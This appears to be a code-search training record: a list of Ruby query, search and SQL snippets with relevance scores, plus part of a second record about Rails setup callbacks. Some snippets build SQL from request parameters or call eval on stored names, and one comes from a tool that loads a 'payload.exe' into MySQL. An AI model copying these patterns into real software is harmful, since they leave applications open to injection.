case query\n when /^The distance of the route (.+)$/\n distance = parse_and_find_distance($1)\n answer = distance.kind_of?(String) ? distance : query+' is '+distance.to_s\n when /^The length of the shortest route from ([A-Z]{1}) to ([A-Z]{1})$/\n distance = find_shortest_distance($1,$2)\n answer = distance > 0 ? query+' is '+distance.to_s : \"No Such Route\"\n when /^The number of trips starting at ([A-Z]{1}) and ending at ([A-Z]{1}) with a maximum of (\\d+) stops$/\n trips = trip_with_maximum_stops($1,$2,$3)\n answer = query +' are '+trips.size.to_s+\"(#{trips.join(',')})\"\n when /^The number of trips starting at ([A-Z]{1}) and ending at ([A-Z]{1}) with exactly (\\d+) stops$/\n trips = trip_with_maximum_stops($1,$2,$3,'exactly')\n answer = query +' are '+trips.size.to_s+\"(#{trips.join(',')})\"\n when /^The number of different routes from ([A-Z]{1}) to ([A-Z]{1}) with a distance of less than (\\d+)$/\n trips = trip_with_maximum_stops($1,$2,0,false,$3)\n puts \"Here\"\n answer = query +' are '+trips.size.to_s+\"(#{trips.join(',')})\" \n end\n rescue=>e\n puts \"We are sorry due to technical difficulties we can't answer you at present.\"\n end\n answer.to_s\n end", "def run\n self.prominence!\n return self.send_results if @query.any?\n\n self.fuzzy_match\n self.apply_narrowing_filters\n self.apply_limit\n self.load_and_sort_by_matches\n self.send_results\n end", "def is_query? ; !metadata[:ref] ; end", "def sparql_up\n begin\n direct_query \"ASK { ?s ?p ?o }\"\n rescue\n false\n end\nend", "def check_query_def\n # check if filters match possible column names\n cn = columns.collect { |c| c[:id] }\n @query_def.filters.each_pair do |f,v|\n raise Cuca::ApplicationException.new(\"Unknown column in filters: #{f}\") unless cn.include?(f)\n end\n \n return if @query_def.order_by == ''\n # check if order_by is a valid column\n raise Cuca::ApplicationException.new(\"Unknown sort order: #{@query_def.order_by}\") \\\n unless cn.include?(@query_def.order_by)\n end", "def test_long_query\n query = \"APPLE\" * 100\n products = Product.search(query, track: true)\n assert_equal query, products.search.query\n end", "def squelch?(query)\n for i in @current_volume+1..11\n for site in @@SITES[i]\n if query.to_s.include?(site)\n return true\n end\n end\n end\n return false\n end", "def finding_with_ambiguous_select?(select_clause)\n !select_clause && columns.size != 2\n end", "def query_yields_solutions?\n !(query_yields_boolean? || query_yields_statements?)\n end", "def matches_conditions?(object, query); end", "def valid_query?(query)\n # Exceptions for flow control. Alternatively we could re-implement the parse method.\n begin\n Chef::SolrQuery::QueryTransform.parse(query)\n true\n rescue Chef::Exceptions::QueryParseError\n false\n end\n end", "def valid_query?(query)\n # Exceptions for flow control. Alternatively we could re-implement the parse method.\n begin\n Chef::SolrQuery::QueryTransform.parse(query)\n true\n rescue Chef::Exceptions::QueryParseError\n false\n end\n end", "def query\n return if @item[:query].present? # when :query excplicitly defined then no need to resolve matchers\n @item[:query] = cleanup(Query::Builder.for(item: @item))\n end", "def valid?\n return false if @query.nil?\n return true\n end", "def multiple_search?\n\t\t@attempts > 1\n\tend", "def query\n end", "def chris_is_missed\n MovieDatabase.execute(<<-SQL)\n\n select movie.title, actor.name\n from movie\n join casting on movie.id = casting.movieid\n join actor on casting.actorid = actor.id\n where ord = 1 and movie.title in\n (\n select movie.title\n from movie\n join casting on movie.id = casting.movieid\n join actor on casting.actorid = actor.id\n where actor.name = 'Chris Farley'\n )\n SQL\nend", "def query\n return nil\n end", "def test_returns_no_matches\n records = Book.multi_solr_search \"not found\", :models => [Movie, Category]\n assert_equal [], records.docs\n assert_equal 0, records.total\n end", "def custom_silent_sql(q)\n begin\n query = q + ';' unless q =~ /;$/\n query = @db_connection.query(\"#{query}\")\n return true\n rescue => e\n if e =~ /MySQL server has gone away/\n print_error(\"Lost MySQL Connection!\")\n print_error(\"This is likely due to payload which is too large in size.....\")\n print_error(\"Try compressing with UPX to shrink size down: upx 9 -qq payload.exe\")\n puts \"\\t=> \".white + \"Then try again\".light_red + \".....\".white\n end\n return false\n end\n end", "def assert_not_queries_match(query1, query2, filter_exp=nil, sort=false, qrserver_id=0)\n result_xml1 = search(query1, qrserver_id).xmldata\n result_xml2 = search(query2, qrserver_id).xmldata\n assert_not_resultsets_match(result_xml1.split(\"\\n\"), result_xml2.split(\"\\n\"), filter_exp, sort)\n end", "def query_builder table, search\n \n # Throw on some wildcards to make search more forgiving\n search_string = \"%#{search}%\"\n\n # Check to see if the search_string is a number, if it is, also search on numerical columns\n search_number = (is_number? search) ? Float(search) : nil\n\n search_date = parse_date(search)\n\n query = nil\n case table \n when :track\n query = infrastructure_query_builder(search_string, nil)\n .or(org_query search_string)\n .or(asset_subtype_query search_string)\n .or(infrastructure_division_query search_string)\n .or(infrastructure_subdivision_query search_string)\n .or(infrastructure_track_query search_string)\n .or(infrastructure_segment_type_query search_string)\n .or(fta_asset_class_query search_string)\n when :guideway\n query = infrastructure_query_builder(search_string, search_number)\n .or(org_query search_string)\n .or(asset_subtype_query search_string)\n .or(infrastructure_division_query search_string)\n .or(infrastructure_subdivision_query search_string)\n .or(infrastructure_segment_type_query search_string)\n .or(fta_asset_class_query search_string)\n when :power_signal\n query = infrastructure_query_builder(search_string, nil)\n .or(org_query search_string)\n .or(asset_subtype_query search_string)\n .or(infrastructure_division_query search_string)\n .or(infrastructure_subdivision_query search_string)\n .or(infrastructure_track_query search_string)\n .or(infrastructure_segment_type_query search_string)\n .or(fta_asset_class_query search_string)\n when :capital_equipment\n query = transit_asset_query_builder(search_string, search_number)\n .or(org_query search_string)\n .or(manufacturer_query search_string)\n .or(manufacturer_model_query search_string)\n .or(fta_equipment_type_query search_string)\n .or(asset_subtype_query search_string)\n .or(fta_asset_class_query search_string)\n when :service_vehicle\n query = service_vehicle_query_builder(search_string, search_number)\n .or(org_query search_string)\n .or(manufacturer_query search_string)\n .or(manufacturer_model_query search_string)\n .or(fta_vehicle_type_query search_string)\n .or(asset_subtype_query search_string)\n .or(fta_asset_class_query search_string)\n .or(chassis_query search_string)\n .or(fuel_type_query search_string)\n when :bus, :rail_car, :ferry, :other_passenger_vehicle\n query = service_vehicle_query_builder(search_string, search_number)\n .or(org_query search_string)\n .or(manufacturer_query search_string)\n .or(manufacturer_model_query search_string)\n .or(fta_vehicle_type_query search_string)\n .or(asset_subtype_query search_string)\n .or(esl_category_query search_string)\n .or(fta_asset_class_query search_string)\n .or(chassis_query search_string)\n .or(fuel_type_query search_string)\n .or(fta_funding_type_query search_string)\n .or(fta_ownership_type_query search_string)\n when :passenger_facility, :maintenance_facility, :admin_facility, :parking_facility\n query = transit_asset_query_builder(search_string, search_number)\n .or(org_query search_string)\n .or(fta_equipment_type_query search_string)\n .or(asset_subtype_query search_string)\n end\n query = query.or(TransamAsset.arel_table[:in_service_date].eq(search_date)) if search_date\n query.or(ServiceStatusType.arel_table[:name].matches(search_string))\n .or(life_cycle_action_query search_string, search_date)\n .or(term_condition_rating_query search_string, search_number)\n end", "def flag_as_good(query)\n flag 'good', query\n end", "def valid?(query)\n return true unless validate_query\n\n schema.valid?(query)\n end", "def return_result_from_query?\n @this_val_where[:mode] == 'return_result'\n end", "def execute_query\n query_parameters = self.query_parameters\n query_parameters.delete(:redirect_controller)\n query_parameters.delete(:redirect_action)\n query_parameters.delete(:saved_search_id)\n #sql = \"#{query_parameters}\"\n sql = String.new\n query_parameters.each do |key,val|\n if val.class == TrueClass || val.class == FalseClass\n sql << \"#{key} == #{val} and \"\n else\n sql << \"#{key} like '#{val}' and \"\n end\n end\n sql = sql.slice(0, sql.length-4)\n self.last_query = sql\n self.save\n eval(self.model_name).where(sql)\n end", "def query!\n return true if query?\n\n raise 'This command may only be used in private.'\n end", "def results?() ! find(locator(:no_results_message)) end", "def check_duplicate_item(db, tbl,field_name,value)\r\n check_command = \"Select * from ? where ? = ?\",[tbl, field_name,value]\r\n if db.execute(check_command).length > 0\r\n return true\r\n else \r\n return false \r\n end \r\nend", "def results_query_where\n \"\"\n end", "def validate_query_within_group\n unless (self.class.by_share_group[share_group] - [self]).all?(&:query)\n errors.add(:query, :blank)\n end\n end", "def all(query); end", "def check_for_record(session, database, query, max_attempts, interval)\n found = false\n\n max_attempts.times do\n found = !!session.send(database).select_one(query)\n break if found\n sleep interval\n end\n \n found\n end", "def match_states(query); end", "def test_observations_of_queries\n # Create 2 Names, synonymized; 6 Observations, 6 Namings:\n # Name n, Name s,\n # n and s synonymized.\n # Each of n and s needs:\n # an Observation where it's a naming and it's the consensus\n # an Observation where it's a naming but its synonym is the consensus\n # an Observation where it's a naming but neither is the consensus.\n user = users(:rolf)\n nam = names(:lactarius_alpinus)\n syn = names(:lactarius_alpigenes) # a synonym of nam\n other_taxon = names(:suillus)\n\n # Observations where nam proposed\n nam_proposed_and_consensus =\n Observation.create(name: nam,\n notes: \"nam_proposed_and_consensus\", # for debugging\n user: user)\n Naming.create(observation: nam_proposed_and_consensus, name: nam,\n user: user)\n\n nam_proposed_syn_is_consensus =\n Observation.create(name: syn,\n notes: \"nam_proposed_and_consensus\", # for debugging\n user: user)\n Naming.create(observation: nam_proposed_syn_is_consensus, name: syn,\n user: user)\n Naming.create(observation: nam_proposed_syn_is_consensus, name: nam,\n user: user)\n\n nam_proposed_other_taxon_is_consensus =\n Observation.create(name: other_taxon,\n notes: \"nam_proposed_other_taxon_is_consensus\",\n user: user)\n Naming.create(observation: nam_proposed_other_taxon_is_consensus,\n name: nam, user: user)\n\n # Observations where syn proposed\n syn_proposed_and_consensus =\n Observation.create(name: syn,\n notes: \"syn_proposed_and_consensus\",\n user: user)\n Naming.create(observation: syn_proposed_and_consensus, name: syn,\n user: user)\n\n syn_proposed_nam_is_consensus =\n Observation.create(name: nam,\n notes: \"syn_proposed_nam_is_consensus\",\n user: user)\n Naming.create(observation: syn_proposed_nam_is_consensus, name: syn,\n user: user)\n Naming.create(observation: syn_proposed_nam_is_consensus, name: nam,\n user: user)\n\n syn_proposed_other_taxon_is_consensus =\n Observation.create(name: other_taxon,\n notes: \"syn_proposed_other_taxon_is_consensus\",\n user: user)\n Naming.create(observation: syn_proposed_other_taxon_is_consensus, name: syn,\n user: user)\n\n # Now test the Query's\n results = obss_of_taxon(nam).results\n assert(results.include?(nam_proposed_and_consensus))\n assert(results.include?(nam_proposed_syn_is_consensus))\n assert(results.include?(syn_proposed_and_consensus))\n assert(results.include?(syn_proposed_nam_is_consensus))\n assert(results.exclude?(nam_proposed_other_taxon_is_consensus))\n assert(results.exclude?(syn_proposed_other_taxon_is_consensus))\n\n results = obss_of_taxon_other_names(nam).results\n assert(results.exclude?(nam_proposed_and_consensus))\n assert(results.include?(nam_proposed_syn_is_consensus))\n assert(results.include?(syn_proposed_and_consensus))\n assert(results.exclude?(syn_proposed_nam_is_consensus))\n assert(results.exclude?(nam_proposed_other_taxon_is_consensus))\n assert(results.exclude?(syn_proposed_other_taxon_is_consensus))\n\n results = obss_other_taxa_this_taxon_proposed(nam).results\n assert(results.exclude?(nam_proposed_and_consensus))\n assert(results.exclude?(nam_proposed_syn_is_consensus))\n assert(results.exclude?(syn_proposed_and_consensus))\n assert(results.exclude?(syn_proposed_nam_is_consensus))\n assert(results.include?(nam_proposed_other_taxon_is_consensus))\n assert(results.include?(syn_proposed_other_taxon_is_consensus))\n\n results = obss_this_name_proposed(nam).results\n assert(results.include?(nam_proposed_and_consensus))\n assert(results.include?(nam_proposed_syn_is_consensus))\n assert(results.exclude?(syn_proposed_and_consensus))\n assert(results.include?(syn_proposed_nam_is_consensus))\n assert(results.include?(nam_proposed_other_taxon_is_consensus))\n assert(results.exclude?(syn_proposed_other_taxon_is_consensus))\n end", "def search_process\n @search_text =params[:q].to_s\n all =params[:all].to_s\n exact =params[:exact].to_s\n any =params[:any].to_s\n none =params[:none].to_s\n advanced_query=\"\"\n\n if all != \"\"\n all =all.split(' ')\n all_like =all.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n all_like =all_like.join(' and ')\n advanced_query=all_like\n end\n\n if exact != \"\" && all != \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = advanced_query + \" and keyword like \" + exact\n end\n\n if exact != \"\" && all == \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = \"keyword like \" + exact\n end\n\n if any != \"\" and (all != \"\" or exact != \"\")\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = advanced_query + \" and (\" + any_like + \")\"\n end\n\n if any != \"\" and all == \"\" and exact == \"\"\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = \"(\" + any_like + \")\"\n end\n\n if none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query=advanced_query + \" and \" + none_not_like\n\n end\n\n if none != \"\" and all == \"\" and exact == \"\" and any == \"\"\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query= none_not_like\n end\n\n\n advanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\n\n parameter_search_text=@search_text.split.join(\" \")\n keyword_array =parameter_search_text.split(' ')\n keyword_count =keyword_array.size\n\n connection = ActiveRecord::Base.connection\n\n if all != \"\" or exact != \"\" or any != \"\" or none != \"\"\n @resultset = connection.execute(\"#{advanced_query}\");\n else\n @resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\n end\n\n ActiveRecord::Base.clear_active_connections!\n\n @resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '') }\n\n @model_ids =Array.new\n @model_names =Array.new\n @model_types =Array.new\n\n @resultset_strings.each do |result|\n\n substring=result[0..4]\n\n if substring == \"NMLCL\"\n cell=Cell.find_by_Cell_ID(result.to_s)\n name=cell.Cell_Name\n type=\"Cell\"\n end\n\n if substring == \"NMLCH\"\n channel=Channel.find_by_Channel_ID(result.to_s)\n name =channel.Channel_Name\n type =\"Channel\"\n end\n\n\n if substring == \"NMLNT\"\n network=Network.find_by_Network_ID(result.to_s)\n name =network.Network_Name\n type =\"Network\"\n end\n\n if substring == \"NMLSY\"\n synapse=Synapse.find_by_Synapse_ID(result.to_s)\n name =synapse.Synapse_Name\n type =\"Synapse\"\n end\n\n @model_ids.push(result)\n @model_names.push(name)\n @model_types.push(type)\n\n end\n\n if @model_ids.count != 0\n\n render :partial => 'keyword_results_list',\n :locals => {\n :model_ids => @model_ids,\n :model_names => @model_names,\n :model_types => @model_types\n }\n\n else\n\n render :partial => 'no_results'\n\n end\n\n end", "def test_exists_with_order\n assert_equal true, Topic.order(Arel.sql(\"invalid sql here\")).exists?\n end", "def scanSameNameWithDifferentSimilarTrackCount()\n problemCount = 0;\n SimilarTracksVersionControl.find(:all, :conditions => [\"version = ? and status = ? and similar_track_count > ?\" , 1, 1, 0]).each do |strack|\n puts \"track_id:\" + strack.track_id.to_s();\n \n\n scs = SimilarTracksVersionControl.find(:all, :order => \"similar_track_count desc\", :limit => 1, :conditions => [\"track_name = ? and track_artist_id = ? and track_id != ? and status = ? and similar_track_count > ?\", strack.track_name, strack.track_artist_id, strack.track_id, 1, 0]);\n status = 0;\n if (scs != nil and !scs.empty?)\n sc = scs.first;\n puts \"matched track_id:\" + sc.track_id.to_s();\n if (strack.similar_track_count < sc.similar_track_count)\n strack.same_name_with_different_similar_track_count_fix = sc.track_id;\n strack.status = 200;\n strack.save();\n puts \"need fix:\" + strack.similar_track_count.to_s + \" < \" + sc.similar_track_count.to_s;\n problemCount = problemCount + 1;\n end\n\n end\n \n \n end #end of loop\n puts \"total needs fix:\" + problemCount.to_s();\n \n end", "def run_query(query)\n post_graphql(query, current_user: current_user)\n expect(graphql_errors).not_to be_present\n end", "def mongodb_query(doc, query, _)\n if query\n query = document_symbolize(query)\n end\n if query\n query.each do |key, cond|\n if doc[key]\n unless mongodb_query_has_doc(doc, key, cond)\n return false\n end\n else\n return false\n end\n end\n end\n true\n end", "def search_from_fresh_index( query, page )\n begin\n @search_data = @index.search( query, page )\n return true\n rescue IndexSearchError => error\n @errors.push({\n :highlight => \"The search term you used has caused an error on the search engine, please try another search term without any special characters in it.\",\n :full_text => error\n })\n return false\n end\n end", "def url_redirect_checker\n require 'curb'\n # indexers = Indexer.where.not(crm_url: nil).where.not(crm_url: \"\").where(\"url != crm_url\").where(crm_url_redirect: nil)\n # indexers = Indexer.where.not(crm_url: nil).where.not(crm_url: \"\").where(\"url != crm_url\").where(geo_url_redirect: nil)[20...-1]\n # indexers = Indexer.where(redirect_status: nil).where(stf_status: \"SFDC URL\").where(indexer_status: \"SFDC URL\").where(\"raw_url LIKE '%http%'\")[a...z]\n # indexers = Indexer.where(redirect_status: nil).where(stf_status: \"SFDC URL\").where(indexer_status: \"SFDC URL\").where(\"raw_url LIKE '%www%'\")[a...z]\n # indexers = Indexer.where(redirect_status: nil).where(stf_status: \"SFDC URL\").where(indexer_status: \"SFDC URL\").where.not(\"raw_url LIKE '%www%'\")[a...z]\n # Indexer.where.not(\"redirect_status LIKE '%Error%'\")\n\n # a=0\n # z=-1\n\n indexers = Indexer.where(indexer_status: \"COP URL\").where(clean_url: nil)[a...z] ##17,033\n\n\n counter_fail = 0\n counter_result = 0\n total = 0\n indexers.each do |indexer|\n total +=1\n\n raw_url = indexer.raw_url\n\n begin ## rescue\n result = Curl::Easy.perform(raw_url) do |curl|\n curl.follow_location = true\n curl.useragent = \"curb\"\n curl.connect_timeout = 10\n curl.enable_cookies = true\n # curl.ssl_verify_peer = false\n end\n\n curb_url_result = result.last_effective_url\n\n crm_url_hash = url_formatter(curb_url_result)\n raw_url_final = crm_url_hash[:new_url]\n\n if raw_url != raw_url_final\n counter_result +=1\n puts\n puts \"[#{a}...#{z}] (#{counter_result}/#{total})\"\n puts \"O: #{raw_url}\"\n puts \"N: #{raw_url_final}\"\n puts \"--------------------------------------------\"\n puts\n indexer.update_attributes(redirect_status: \"Updated\", clean_url: raw_url_final)\n else\n puts \"[#{a}...#{z}] (#{total}): Same\"\n indexer.update_attributes(redirect_status: \"Same\", clean_url: raw_url_final)\n end\n\n rescue #begin rescue\n error_message = $!.message\n counter_fail +=1\n final_error_msg = \"Error: #{error_message}\"\n puts \"(#{counter_fail}/#{total}) (#{final_error_msg})\"\n\n if final_error_msg && final_error_msg.include?(\"Error:\")\n if final_error_msg.include?(\"SSL connect error\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"SSL Error\")\n elsif final_error_msg.include?(\"Couldn't resolve host name\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Host Error\")\n elsif final_error_msg.include?(\"Peer certificate\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Certificate Error\")\n elsif final_error_msg.include?(\"Failure when receiving data\")\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Transfer Error\")\n else\n indexer.update_attributes(indexer_status: \"Redirect Error\", redirect_status: \"Error\")\n end\n end\n end #end rescue\n end\n end", "def matches?(object, query = T.unsafe(nil)); end", "def match_event(query); end", "def random_query\n # Use a fake query\n # TODO: better random queries\n 'query ' + (rand*5000).to_i.to_s\nend", "def should_log_scrubbed_query(input:, output:)\n queries = sql(input)\n\n expect(queries.join(\"\\n\")).to_not include(input)\n expect(queries.join(\"\\n\")).to include(output)\n end", "def query( query )\n query.downcase!\n case query\n when /^:r:/ then query_regexp query.gsub(/^:r:/, '')\n when /^:f:/ then query_fulltext_regexp query.gsub(/^:f:/, '')\n else query_simple query\n end\n end", "def skip_schema_queries=(_arg0); end" ]
[ "0.6518441", "0.63046646", "0.6034589", "0.6034589", "0.59890544", "0.59427756", "0.5879576", "0.5816271", "0.58057654", "0.58047086", "0.5777494", "0.5738967", "0.5725157", "0.57235134", "0.57147706", "0.56446826", "0.56415296", "0.5634597", "0.5598895", "0.5594684", "0.5590797", "0.55861634", "0.55843365", "0.5582755", "0.5570752", "0.55571663", "0.5554481", "0.5550681", "0.55478984", "0.5547013", "0.5545725", "0.5513325", "0.5496726", "0.5491886", "0.5476294", "0.54731166", "0.5465915", "0.5457896", "0.54514366", "0.5448093", "0.5446269", "0.5427222", "0.54243904", "0.5417985", "0.5415103", "0.54093975", "0.54092443", "0.54062235", "0.5399352", "0.53915656", "0.53872776", "0.53842276", "0.5381178", "0.5374669", "0.5363471", "0.53623885", "0.53563046", "0.5350261", "0.5347625", "0.5345024", "0.53432375", "0.5327092", "0.5325362", "0.5324484", "0.5324484", "0.5323167", "0.5318367", "0.5307293", "0.5306042", "0.53033304", "0.52956945", "0.52939034", "0.52913356", "0.5283876", "0.52780944", "0.5277565", "0.52693987", "0.5266884", "0.5258311", "0.524513", "0.5241718", "0.52389723", "0.52323145", "0.52264124", "0.522508", "0.5213388", "0.5212402", "0.52105176", "0.52084094", "0.5198877", "0.5195906", "0.5188914", "0.51860535", "0.5185557", "0.5183195", "0.51821166", "0.5178279", "0.5171402", "0.5171272", "0.51708597", "0.5170184" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_job @job = Job.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def callback_phase\n super\n end", "def advice\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n 